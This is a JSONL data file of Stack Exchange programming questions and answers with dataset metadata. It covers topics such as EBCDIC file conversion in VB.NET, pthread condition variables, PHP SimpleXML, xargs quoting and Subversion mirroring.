{"id": "hf_fb7c14dbd7b6", "question": "<p>Functional languages are good because they avoid bugs by eliminating state, but also because they can be easily parallelized automatically for you, without you having to worry about the thread count. </p>\n\n<p>As a Win32 developer though, can I use Haskell for some dlls of my application? And if I do, is there a real advantage that would be taken automatically for me?  If so what gives me this advantage, the compiler? </p>\n\n<p>Does F# parallelize functions you write across multiple cores and cpu's automatically for you?  Would you ever see the thread count in task manager increase?</p>\n\n<p>Basically my question is, how can I start using Haskell in a practical way, and will I really see some benefits if I do?</p>\n", "question_body": "", "answer": "I'm currently learning Haskell myself, when you start out learning it, it doesn't seem very intriguing because the learning experience is NOTHING like learning a language like C#, it's a whole new world, but I noticed I could write very very complex expressions in just a few lines of code, when I looked back at the code it was much more concise, it was small and tight. I'm absolutely loving it! You can indeed write real-world programs that will be smaller, easier to maintain, and much more complex then most other languages allow, I vote for you to learn it!!\nGood luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.316380"}
{"id": "hf_4c6b5ff325cd", "question": "<p>I have a series of ASCII flat files coming in from a mainframe to be processed by a C# application. A new feed has been introduced with a Packed Decimal (COMP-3) field, which needs to be converted to a numerical value.</p>\n\n<p>The files are being transferred via FTP, using ASCII transfer mode. I am concerned that the binary field may contain what will be interpreted as very-low ASCII codes or control characters instead of a value - Or worse, may be lost in the FTP process.</p>\n\n<p>What's more, the fields are being read as strings. I may have the flexibility to work around this part (i.e. a stream of some sort), but the business will give me pushback.</p>\n\n<p>The requirement read \"Convert from HEX to ASCII\", but clearly that didn't yield the correct values.  Any help would be appreciated; it need not be language-specific as long as you can explain the logic of the conversion process.</p>\n", "question_body": "", "answer": "I apologize if I am way off base here, but perhaps this code sample I'll paste here could help you. This came from VBRocks...\n```\n```\nImports System\nImports System.IO\nImports System.Text\nImports System.Text.Encoding\n\n'4/20/07 submission includes a line spacing addition when a control character is used:\n'   The line spacing is calculated off of the 3rd control character.\n'\n'   Also includes the 4/18 modification of determining end of file.\n\n'4/26/07 submission inclues an addition of 6 to the record length when the 4th control\n'   character is an 8.  This is because these records were being truncated.\n\n'Authored by Gary A. Lima, aka. VBRocks\n\n''' <summary>\n''' Translates an EBCDIC file to an ASCII file.\n''' </summary>\n''' <remarks></remarks>\nPublic Class EBCDIC_to_ASCII_Translator\n\n#Region \" Example\"\n\n    Private Sub Example()\n        'Set your source file and destination file paths\n        Dim sSourcePath As String = \"c:\\Temp\\MyEBCDICFile\"\n        Dim sDestinationPath As String = \"c:\\Temp\\TranslatedFile.txt\"\n\n        Dim trans As New EBCDIC_to_ASCII_Translator()\n\n        'If your EBCDIC file uses Control records to determine the length of a record, then this to True\n        trans.UseControlRecord = True\n\n        'If the first record of your EBCDIC file is filler (junk), then set this to True\n        trans.IgnoreFirstRecord = True\n\n        'EBCDIC files are written in block lengths, set your block length (Example:  134, 900, Etc.)\n        trans.BlockLength = 900\n\n        'This method will actually translate your source file and output it to the specified destination file path\n        trans.TranslateFile(sSourcePath, sDestinationPath)\n\n        'Here is a alternate example:\n        'No Control record is used\n        'trans.UseControlRecord = False\n\n        'Translate the whole file, including the first record\n        'trans.IgnoreFirstRecord = False\n\n        'Set the block length\n        'trans.BlockLength = 134\n\n        'Translate...\n        'trans.TranslateFile(sSourcePath, sDestinationPath)\n\n        '*** Some additional methods that you can use are:\n\n        'Trim off leading characters from left side of string (position 0 to...)\n        'trans.LTrim = 15\n\n        'Translate 1 EBCDIC character to an ASCII character\n        'Dim strASCIIChar as String = trans.TranslateCharacter(\"S\")\n\n        'Translate an EBCDIC character array to an ASCII string\n        'trans.TranslateCharacters(chrEBCDICArray)\n\n        'Translates an EBCDIC string to an ASCII string\n        'Dim strASCII As String = trans.TranslateString(\"EBCDIC String\")\n\n    End Sub\n\n#End Region    'Example\n\n    'Translate characters from EBCDIC to ASCII\n\n    Private ASCIIEncoding As Encoding = Encoding.ASCII\n    Private EBCDICEncoding As Encoding = Encoding.GetEncoding(37)  'EBCDIC\n\n    'Block Length:  Can be fixed (Ex:  134). \n    Private miBlockLength As Integer = 0\n    Private mbUseControlRec As Boolean = True        'If set to False, will return exact block length\n    Private mbIgnoreFirstRecord As Boolean = True    'Will Ignore first record if set to true  (First record may be filler)\n    Private miLTrim As Integer = 0\n\n    ''' <summary>\n    ''' Translates SourceFile from EBCDIC to ASCII.  Writes output to file path specified by DestinationFile parameter.\n    ''' Set the BlockLength Property to designate block size to read.\n    ''' </summary>\n    ''' <param name=\"SourceFile\">Enter the path of the Source File.</param>\n    ''' <param name=\"DestinationFile\">Enter the path of the Destination File.</param>\n    ''' <remarks></remarks>\n    Public Sub TranslateFile(ByVal SourceFile As String, ByVal DestinationFile As String)\n\n        Dim iRecordLength As Integer     'Stores length of a record, not including the length of the Control Record (if used)\n        Dim sRecord As String = \"\"         'Stores the actual record\n        Dim iLineSpace As Integer = 1    'LineSpace:  1 for Single Space, 2 for Double Space, 3 for Triple Space...\n\n        Dim iControlPosSix As Byte()      'Stores the 6th character of a Control Record (used to calculate record length)\n        Dim iControlRec As Byte()          'Stores the EBCDIC Control Record (First 6 characters of record)\n        Dim bEOR As Boolean                'End of Record Flag\n        Dim bBOF As Boolean = True      'Beginning of file\n        Dim iConsumedChars As Integer = 0     'Stores the number of consumed characters in the current block\n        Dim bIgnoreRecord As Boolean = mbIgnoreFirstRecord   'Ignores the first record if set.\n\n        Dim ControlArray(5) As Char         'Stores Control Record (first 6 bytes)\n        Dim chrArray As Char()              'Stores characters just after read from file\n\n        Dim sr As New StreamReader(SourceFile, EBCDICEncoding)\n        Dim sw As New StreamWriter(DestinationFile)\n\n        'Set the RecordLength to the RecordLength Property (below)\n        iRecordLength = miBlockLength\n\n        'Loop through entire file\n        Do Until sr.EndOfStream = True\n\n            'If using a Control Record, then check record for valid data.\n            If mbUseControlRec = True Then\n                'Read the Control Record (first 6 characters of the record)\n                sr.ReadBlock(ControlArray, 0, 6)\n\n                'Update the value of consumed (read) characters\n                iConsumedChars += ControlArray.Length\n\n                'Get the bytes of the Control Record Array\n                iControlRec = EBCDICEncoding.GetBytes(ControlArray)\n\n                'Set the line spacing  (position 3 divided by 64)\n                '   (64 decimal = Single Spacing; 128 decimal = Double Spacing)\n                iLineSpace = iControlRec(2) / 64\n\n                'Check the Control record for End of File\n                'If the Control record has a 8 or 10 in position 1, and a 1 in postion 2, then it is the end of the file\n                If (iControlRec(0) = 8 OrElse iControlRec(0) = 10) AndAlso _\n                    iControlRec(1) = 1 Then\n\n                    If bBOF = False Then\n                        Exit Do\n\n                    Else\n                        'The Beginning of file flag is set to true by default, so when the first\n                        '   record is encountered, it is bypassed and the bBOF flag is set to False\n                        bBOF = False\n\n                    End If    'If bBOF = Fals\n\n                End If    'If (iControlRec(0) = 8 OrElse\n\n                'Set the default value for the End of Record flag to True\n                '   If the Control Record has all zeros, then it's True, else False\n                bEOR = True\n\n                'If the Control record contains all zeros, bEOR will stay True, else it will be set to False\n                For i As Integer = 0 To 5\n                    If iControlRec(i) > 0 Then\n                        bEOR = False\n\n                        Exit For\n\n                    End If    'If iControlRec(i) > 0\n\n                Next    'For i As Integer = 0 To 5\n\n                If bEOR = False Then\n                    'Convert EBCDIC character to ASCII\n                    'Multiply the 6th byte by 6 to get record length\n                    '   Why multiply by 6?  Because it works.\n                    iControlPosSix = EBCDICEncoding.GetBytes(ControlArray(5))\n\n                    'If the 4th position of the control record is an 8, then add 6\n                    '    to the record length to pick up remaining characters.\n                    If iControlRec(3) = 8 Then\n                        iRecordLength = CInt(iControlPosSix(0)) * 6 + 6\n\n                    Else\n                        iRecordLength = CInt(iControlPosSix(0)) * 6\n\n                    End If\n\n                    'Add the length of the record to the Consumed Characters counter\n                    iConsumedChars += iRecordLength\n\n                Else\n                    'If the Control Record had all zeros in it, then it is the end of the Block.\n\n                    'Consume the remainder of the block so we can continue at the beginning of the next block.\n                    ReDim chrArray(miBlockLength - iConsumedChars - 1)\n                    'ReDim chrArray(iRecordLength - iConsumedChars - 1)\n\n                    'Consume (read) the remaining characters in the block.  \n                    '   We are not doing anything with them because they are not actual records.\n                    'sr.ReadBlock(chrArray, 0, iRecordLength - iConsumedChars)\n                    sr.ReadBlock(chrArray, 0, miBlockLength - iConsumedChars)\n\n                    'Reset the Consumed Characters counter\n                    iConsumedChars = 0\n\n                    'Set the Record Length to 0 so it will not be processed below.\n                    iRecordLength = 0\n\n                End If    ' If bEOR = False\n\n            End If    'If mbUseControlRec = True\n\n            If iRecordLength > 0 Then\n                'Resize our array, dumping previous data.  Because Arrays are Zero (0) based, subtract 1 from the Record length.\n                ReDim chrArray(iRecordLength - 1)\n\n                'Read the specfied record length, without the Control Record, because we already consumed (read) it.\n                sr.ReadBlock(chrArray, 0, iRecordLength)\n\n                'Copy Character Array to String Array, Converting in the process, then Join the Array to a string\n                sRecord = Join(Array.ConvertAll(chrArray, New Converter(Of Char, String)(AddressOf ChrToStr)), \"\")\n\n                'If the record length was 0, then the Join method may return Nothing\n                If IsNothing(sRecord) = False Then\n\n                    If bIgnoreRecord = True Then\n                        'Do nothing - bypass record\n\n                        'Reset flag\n                        bIgnoreRecord = False\n\n                    Else\n                        'Write the line out, LTrimming the specified number of characters.\n                        If sRecord.Length >= miLTrim Then\n                            sw.WriteLine(sRecord.Remove(0, miLTrim))\n\n                        Else\n                            sw.WriteLine(sRecord.Remove(0, sRecord.Length))\n\n                        End If    ' If sRecord.Length >= miLTrim\n\n                        'Write out the number of blank lines specified by the 3rd control character.\n                        For i As Integer = 1 To iLineSpace - 1\n                            sw.WriteLine(\"\")\n\n                        Next    'For i As Integer = 1 To iLineSpace\n\n                    End If    'If bIgnoreRecord = True\n\n                    'Obviously, if we have read more characters from the file than the designated size of the block,\n                    '   then subtract the number of characters we have read into the next block from the block size.\n                    If iConsumedChars > miBlockLength Then\n                        'If iConsumedChars > iRecordLength Then\n                        iConsumedChars = iConsumedChars - miBlockLength\n                        'iConsumedChars = iConsumedChars - iRecordLength\n\n                    End If\n\n                End If    'If IsNothing(sRecord) = False\n\n            End If    'If iRecordLength > 0\n\n            'Allow computer to process  (works in a class module, not in a dll)\n            'Application.DoEvents()\n\n        Loop\n\n        'Destroy StreamReader (sr)\n        sr.Close()\n        sr.Dispose()\n\n        'Destroy StreamWriter (sw)\n        sw.Close()\n        sw.Dispose()\n\n    End Sub\n\n    ''' <summary>\n    ''' Translates 1 EBCDIC Character (Char) to an ASCII String\n    ''' </summary>\n    ''' <param name=\"chr\"></param>\n    ''' <returns></returns>\n    ''' <remarks></remarks>\n    Private Function ChrToStr(ByVal chr As Char) As String\n        Dim sReturn As String = \"\"\n\n        'Convert character into byte\n        Dim EBCDICbyte As Byte() = EBCDICEncoding.GetBytes(chr)\n\n        'Convert EBCDIC byte to ASCII byte\n        Dim ASCIIByte As Byte() = Encoding.Convert(EBCDICEncoding, ASCIIEncoding, EBCDICbyte)\n\n        sReturn = Encoding.ASCII.GetString(ASCIIByte)\n\n        Return sReturn\n\n    End Function\n\n    ''' <summary>\n    ''' Translates an EBCDIC String to an ASCII String\n    ''' </summary>\n    ''' <param name=\"sStringToTranslate\"></param>\n    ''' <returns>String</returns>\n    ''' <remarks></remarks>\n    Public Function TranslateString(ByVal sStringToTranslate As String) As String\n        Dim i As Integer = 0\n        Dim sReturn As New System.Text.StringBuilder()\n\n        'Loop through the string and translate each character\n        For i = 0 To sStringToTranslate.Length - 1\n            sReturn.Append(ChrToStr(sStringToTranslate.Substring(i, 1)))\n\n        Next\n\n        Return sReturn.ToString()\n\n    End Function\n\n    ''' <summary>\n    ''' Translates 1 EBCDIC Character (Char) to an ASCII String\n    ''' </summary>\n    ''' <param name=\"sCharacterToTranslate\"></param>\n    ''' <returns>String</returns>\n    ''' <remarks></remarks>\n    Public Function TranslateCharacter(ByVal sCharacterToTranslate As Char) As String\n\n        Return ChrToStr(sCharacterToTranslate)\n\n    End Function\n\n    ''' <summary>\n    ''' Translates an EBCDIC Character (Char) Array to an ASCII String\n    ''' </summary>\n    ''' <param name=\"sCharacterArrayToTranslate\"></param>\n    ''' <returns>String</returns>\n    ''' <remarks>Remarks</remarks>\n    Public Function TranslateCharacters(ByVal sCharacterArrayToTranslate As Char()) As String\n        Dim sReturn As String = \"\"\n\n        'Copy Character Array to String Array, Converting in the process, then Join the Array to a string\n        sReturn = Join(Array.ConvertAll(sCharacterArrayToTranslate, _\n                            New Converter(Of Char, String)(AddressOf ChrToStr)), \"\")\n\n        Return sReturn\n\n    End Function\n\n    ''' <summary>\n    ''' Block Length must be set.  You can set the BlockLength for specific block sizes (Ex:  134).\n    ''' Set UseControlRecord = False for files with specific block sizes (Default is True)\n    ''' </summary>\n    ''' <value>0</value>\n    ''' <returns>Integer</returns>\n    ''' <remarks></remarks>\n    Public Property BlockLength() As Integer\n        Get\n            Return miBlockLength\n\n        End Get\n        Set(ByVal value As Integer)\n            miBlockLength = value\n\n        End Set\n    End Property\n\n    ''' <summary>\n    ''' Determines whether a ControlKey is used to calculate RecordLength of valid data\n    ''' </summary>\n    ''' <value>Default value is True</value>\n    ''' <returns>Boolean</returns>\n    ''' <remarks></remarks>\n    Public Property UseControlRecord() As Boolean\n        Get\n            Return mbUseControlRec\n\n        End Get\n        Set(ByVal value As Boolean)\n            mbUseControlRec = value\n\n        End Set\n    End Property\n\n    ''' <summary>\n    ''' Ignores first record if set (Default is True)\n    ''' </summary>\n    ''' <value>Default is True</value>\n    ''' <returns>Boolean</returns>\n    ''' <remarks></remarks>\n    Public Property IgnoreFirstRecord() As Boolean\n        Get\n            Return mbIgnoreFirstRecord\n\n        End Get\n\n        Set(ByVal value As Boolean)\n            mbIgnoreFirstRecord = value\n\n        End Set\n    End Property\n\n    ''' <summary>\n    ''' Trims the left side of every string the specfied number of characters.  Default is 0.\n    ''' </summary>\n    ''' <value>Default is 0.</value>\n    ''' <returns>Integer</returns>\n    ''' <remarks></remarks>\n    Public Property LTrim() As Integer\n        Get\n            Return miLTrim\n\n        End Get\n\n        Set(ByVal value As Integer)\n            miLTrim = value\n\n        End Set\n    End Property\n\nEnd Class\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.345072"}
{"id": "hf_548933f3cff3", "question": "<p>I am developing a TCP/IP client that has to deal with a proprietary binary protocol. I was considering using user-defined types to represent the protocol headers, and using CopyMemory to shuffle data to and from the UDT and a byte array. However, it appears that VB6 adds padding bytes to align user-defined types. Is there any way to force VB6 to not pad UDT's, similar to the <code>#pragma pack</code> directive available in many C/C++ compilers? Perhaps a special switch passed to the compiler?</p>\n", "question_body": "", "answer": "No.\nYour best bet is to write the low level code in C or C++ (where you do have\n```\n#pragma pack\n```\n), then expose the interface via COM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.434134"}
{"id": "hf_488e78729253", "question": "<p>ToolStripItems show Active highlighting when you mouse over them, even if the form they are in is not in focus.   They do not, however, show their tooltips, unless the form is  focused.   I have seen the <a href=\"http://blogs.msdn.com/rickbrew/archive/2006/01/09/511003.aspx\" rel=\"noreferrer\">ToolStrip 'click-though' hack</a>.  Anyone know how to make a ToolStripButton show its tooltip when its parent form is not in focus?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Perhaps one of the two approaches in this code will kick you off in the right direction...\n```\n```\npublic Form1()\n{\n    InitializeComponent();\n\n    tooltip = new ToolTip();\n    tooltip.ShowAlways = true;\n}\n\nprivate ToolTip tooltip;\nprivate void toolStripButton_MouseHover(object sender, EventArgs e)\n{\n    if (!this.Focused)\n    {\n        ToolStripItem tsi = (ToolStripItem)sender;\n        tooltip.SetToolTip(toolStrip1, tsi.AutoToolTip ? tsi.ToolTipText : tsi.Text);\n        /*tooltip.Show(tsi.AutoToolTip ? tsi.ToolTipText : tsi.Text, this, \n            new Point(toolStrip1.Left, toolStrip1.Bottom));*/\n    }\n}\n\nprivate void toolStripButton_MouseLeave(object sender, EventArgs e)\n{\n    tooltip.RemoveAll();\n}\n```\n```\nThe problem with the first is you can't set it to the button directly, it doesn't inherit from Control, and the tooltip won't show up unless you're over the strip but not over a button.\nThe problem with the second (commented out way) is it doesn't display at all. Not quite sure why, but maybe you can debug it out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.467285"}
{"id": "hf_dddd2b852102", "question": "<p>I've recently seen the light of EventWaitHandle's powerful behavior in C# and decided to move some functionality in a sister application to do the same. The only problem is that the sister app is written in C.</p>\n\n<p>No big deal, I'm using pthreads, which have a pthread_cond_t datatype that allows for signalling. My only question is, is it possible for a cond to be 'signalled' before something is waiting on it?</p>\n\n<p>Right now my testing says no. That is, if ThreadA fires a signal before ThreadB is waiting, ThreadB will wait indefinately. Is there another pthread type that I can use that behaves closer to the functionality of the EventWaitHandle in C#? An object is signalled, meaning that the first thread to wait on it, will pass immediately, and set it to unsignalled.</p>\n\n<p>Wrapping the pthread_cond into another data structure wouldn't be too hard to achieve this. But again, is this functionality already available in the pthread library?</p>\n", "question_body": "", "answer": "If you're using condition variables correctly, this won't matter.\nThe basic flow of your code should be (in pseudocode):\n```\n```\nlock(lockobj);\nwhile (!signalled) {\n    wait(condvar);\n}\nsignalled = false;\nunlock(lockobj);\n```\n```\non the waiting side, and:\n```\n```\nlock(lockobj);\nsignalled = true;\nnotify(condvar);\nunlock(lockobj);\n```\n```\non the signalling side. (Of course, the lock object and condition variable used have to be the same on both sides.) Hope this helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.490242"}
{"id": "hf_b3947ffe6e69", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/91071/emacs-switch-to-previous-window\">Emacs, switch to previous window</a>  </p>\n</blockquote>\n\n\n\n<p><code>other-window</code> advances me to the next window in the current frame, but I also want a way to move back to the previous window.</p>\n\n<p>Emacs has <code>next-buffer</code> and <code>previous-buffer</code>, but no analogous interactive functions for window navigation.  Just <code>other-window</code>.</p>\n", "question_body": "", "answer": "Put this in your .emacs, and bind it to whatever key you like\n```\n(defun back-window ()\n  (interactive)\n  (other-window -1))\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.514128"}
{"id": "hf_afdcda94eb0a", "question": "<p>Windbg fans claim that it is quite powerful and I tend to agree. But when it comes to debugging STL containers, I am always stuck. If the variable is on the stack, the <code>!stl</code> extension sometimes figures it out, but when a container with a complex type (e.g. <code>std::vector&lt;TemplateField, std::allocator&lt;TemplateField&gt; &gt;</code>) is on the heap or part of some other structure, I just don't know how to view its contents.</p>\n\n<p>Appreciate any tips, pointers.</p>\n", "question_body": "", "answer": "I often find debugger support for STL data types inadequate.  For this reason I'm increasingly using\nlogging frameworks and logging statements\n.  I used to think that these are for people who can't use a debugger, but I now realize that they offer real value.  They allow you to embed portable debugging knowledge in your code and maintain it together with the code.  In contrast, work you do in the debugger is typically ephemeral.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.537494"}
{"id": "hf_a71a8dca36b9", "question": "<p>I'm trying to print out the date in a certain format:</p>\n\n<pre><code>NSDate *today = [[NSDate alloc] init];\nNSDateFormatter *dateFormatter = [[NSDateFormatter alloc] init];\n[dateFormatter setDateFormat:@\"yyyyMMddHHmmss\"];\nNSString *dateStr = [dateFormatter stringFromDate:today];\n</code></pre>\n\n<p>If the iPhone is set to 24 hour time, this works fine, if on the other hand the user has set it to 24 hour time, then back to AM/PM (it works fine until you toggle this setting) then it appends the AM/PM on the end even though I didn't ask for it:</p>\n\n<pre><code>20080927030337 PM\n</code></pre>\n\n<p>Am I doing something wrong or is this a bug with firmware 2.1?</p>\n\n<p>Edit 1: Made description clearer</p>\n\n<p>Edit 2 workaround: It turns out this is a bug, to fix it I set the AM and PM characters to \"\":</p>\n\n<pre><code>[dateFormatter setAMSymbol:@\"\"];\n[dateFormatter setPMSymbol:@\"\"];\n</code></pre>\n", "question_body": "", "answer": "Using the code you posted on both the simulator and a phone with the 2.1 firmware and 24-hour time set to off, I never had an AM/PM appended to dateStr when I do:\n```\n```\nNSLog(@\"%@\", dateStr);\n```\n```\nAre you doing anything else with dateStr that you didn't post here? How are you checking the value?\nFollow up\nTry turning the am/pm setting on then off. I didn't have the problem either, until I did that. I am printing it out the same way you are.\nOkay, I see it when I do this also. It's gotta be a bug. I recommend you\nfile a bug report\nand just check for and filter out the unwanted characters in the meantime.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.560929"}
{"id": "hf_3a3d8bdbbc35", "question": "<p>Is it possible to use PHP's SimpleXML functions to create an XML object from scratch?  Looking through the function list, there's ways to import an existing XML string into an object that you can then manipulate, but if I just want to generate an XML object programmatically from scratch, what's the best way to do that?</p>\n\n<p>I figured out that you can use simplexml_load_string() and pass in the root string that you want, and then you've got an object you can manipulate by adding children... although this seems like kind of a hack, since I have to actually hardcode some XML into the string before it can be loaded.</p>\n\n<p>I've done it using the <a href=\"http://us3.php.net/manual/en/book.domxml.php\" rel=\"noreferrer\">DOMDocument functions</a>, although it's a little confusing because I'm not sure what the DOM has to do with creating a pure XML document... so maybe it's just badly named :-)</p>\n", "question_body": "", "answer": "Sure you can.  Eg.\n```\n```\n<?php\n$newsXML = new SimpleXMLElement(\"<news></news>\");\n$newsXML->addAttribute('newsPagePrefix', 'value goes here');\n$newsIntro = $newsXML->addChild('content');\n$newsIntro->addAttribute('type', 'latest');\nHeader('Content-type: text/xml');\necho $newsXML->asXML();\n?>\n```\n```\nOutput\n```\n```\n<?xml version=\"1.0\"?>\n<news newsPagePrefix=\"value goes here\">\n    <content type=\"latest\"/>\n</news>\n```\n```\nHave fun.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.619684"}
{"id": "hf_8718984eaaec", "question": "<p>Using C / C++ socket programming, and the \"read(socket, buffer, BUFSIZE)\" method.  What exactly is the \"buffer\" I know that char and byte are the same thing, but does it matter how many elements the byte array has in it? Does the buffer need to be able to hold the entire message until the null character?</p>\n", "question_body": "", "answer": "BUFSIZE should be equal to the size of your buffer in bytes. read() will stop reading when the buffer is full. Here is an example:\n```\n```\n#define MY_BUFFER_SIZE 1024\n\nchar mybuffer[MY_BUFFER_SIZE];\nint nBytes = read(sck, mybuffer, MY_BUFFER_SIZE);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.648996"}
{"id": "hf_47b97eb1a69d", "question": "<p>My company has a subsidiary with a slow Internet connection. Our developers there suffer to interact with our central <a href=\"http://en.wikipedia.org/wiki/Subversion_%28software%29\" rel=\"noreferrer\">Subversion</a> server. Is it possible to configure a slave/mirror  for them? They would interact locally with the server and all the commits would be automatically synchronized to the master server. </p>\n\n<p>This should work as transparently as possible for the developers. Usability is a must.</p>\n\n<p>Please, no suggestions to change our version control system.</p>\n", "question_body": "", "answer": "You should try\nThe SVK version control system\nSVK\nis a decentralized version control system built with the robust Subversion filesystem. It supports repository mirroring, disconnected operation, history-sensitive merging, and integrates with other version control systems, as well as popular visual merge tools.\nOn this link there is text about\nUsing SVK to Synchronize SVN Repositories", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.672665"}
{"id": "hf_2ef2b10999ba", "question": "<p>Can anyone tell me, where on the web I can find an explanation for Bron-Kerbosch algorithm for clique finding or explain here how it works?</p>\n\n<p>I know it was published in \"Algorithm 457: finding all cliques of an undirected graph\" book, but I can't find free source that will describe the algorithm.</p>\n\n<p>I don't need a source code for the algorithm, I need an explanation of how it works.</p>\n", "question_body": "", "answer": "Try finding someone with an ACM student account who can give you a copy of the paper, which is here:\nhttp://portal.acm.org/citation.cfm?doid=362342.362367\nI just downloaded it, and it's only two pages long, with an implementation in Algol 60!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.695619"}
{"id": "hf_4d2c361c24bd", "question": "<p>I'm trying to copy a bunch of files below a directory and a number of the files have spaces and single-quotes in their names.  When I try to string together <code>find</code> and <code>grep</code> with <code>xargs</code>, I get the following error:</p>\n\n<pre><code>find .|grep \"FooBar\"|xargs -I{} cp \"{}\" ~/foo/bar\nxargs: unterminated quote\n</code></pre>\n\n<p>Any suggestions for a more robust usage of xargs?</p>\n\n<p>This is on <a href=\"http://en.wikipedia.org/wiki/Mac_OS_X_Leopard\" rel=\"noreferrer\">Mac&nbsp;OS&nbsp;X 10.5.3</a> (Leopard) with BSD <code>xargs</code>.</p>\n", "question_body": "", "answer": "```\nfind . -print0 | grep --null 'FooBar' | xargs -0 ...\n```\nI don't know about whether\n```\ngrep\n```\nsupports\n```\n--null\n```\n, nor whether\n```\nxargs\n```\nsupports\n```\n-0\n```\n, on Leopard, but on GNU it's all good.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.745748"}
{"id": "hf_e39ca7697a67", "question": "<p>If you have a project, that releases a library and an application, how you handle version-numbers between the two.</p>\n\n<p>Example: Your project delivers a library, that convert different file-formats into each other. The library is released for inclusion into other applications. But you also release a command-line-application, that uses this library and implements an interface to the functionality.</p>\n\n<p>New releases of the library lead to new releases of the application (to make use of all new features), but new releases of the application may not trigger new releases of the library. Now how are the versions numbers handled: Completely independent or should library- and application-version be dependent in some way?</p>\n", "question_body": "", "answer": "Completely independent version numbers, but the command line (or any other dependent) app should say which version of the library it was compiled against in the help section or a banner.\nThat way you will be able to tell which functionality will the apps have and reduce potential confusion, especially given that somebody could compile a newer app version against an old library for any reason. Also, you decouple them and can add features on the library without depending on release of a new app version and so on.\nIf you are sure you will always want all the apps and library to go in lockstep then you could use same numbers, but that's adding a constraint for not a strong reason.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.781532"}
{"id": "hf_972e10979a66", "question": "<p>Do you do automated testing on a complex workflow system like K2?</p>\n\n<p>We are building a system with extensive integration between Sharepoint 2007 and K2. I can't even imagine where to start with automated testing as the workflow involves multiple users interacting with Sharepoint, K2 workflows and custom web pages.</p>\n\n<p>Has anyone done automated testing on a workflow server like K2? Is it more effort than it's worth?</p>\n", "question_body": "", "answer": "I'm having a similar problem testing workflow-heavy MOSS-based application. Workflows in our case are based on WWF.\nMy idea is to mock pretty much everything that you can't control from unit tests - documents storage, authentication, user rights and actions, sharepoint-specific parts of workflows for sharepoint (these mocks should be thoroughly tested to mirror behavior of real components).\nYou use inversion of control to make code choose which component to use at runtime - real or mock.\nThen you can write system-wide tests to test workflows behavior - setting up your own environment, checking how workflow engine reacts. These tests are too big to call them unit-tests, still it is automated testing.\nThis approach seems to work on trivial cases, but I still have to prove it is worthy to use in real-world workflows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:40.805658"}
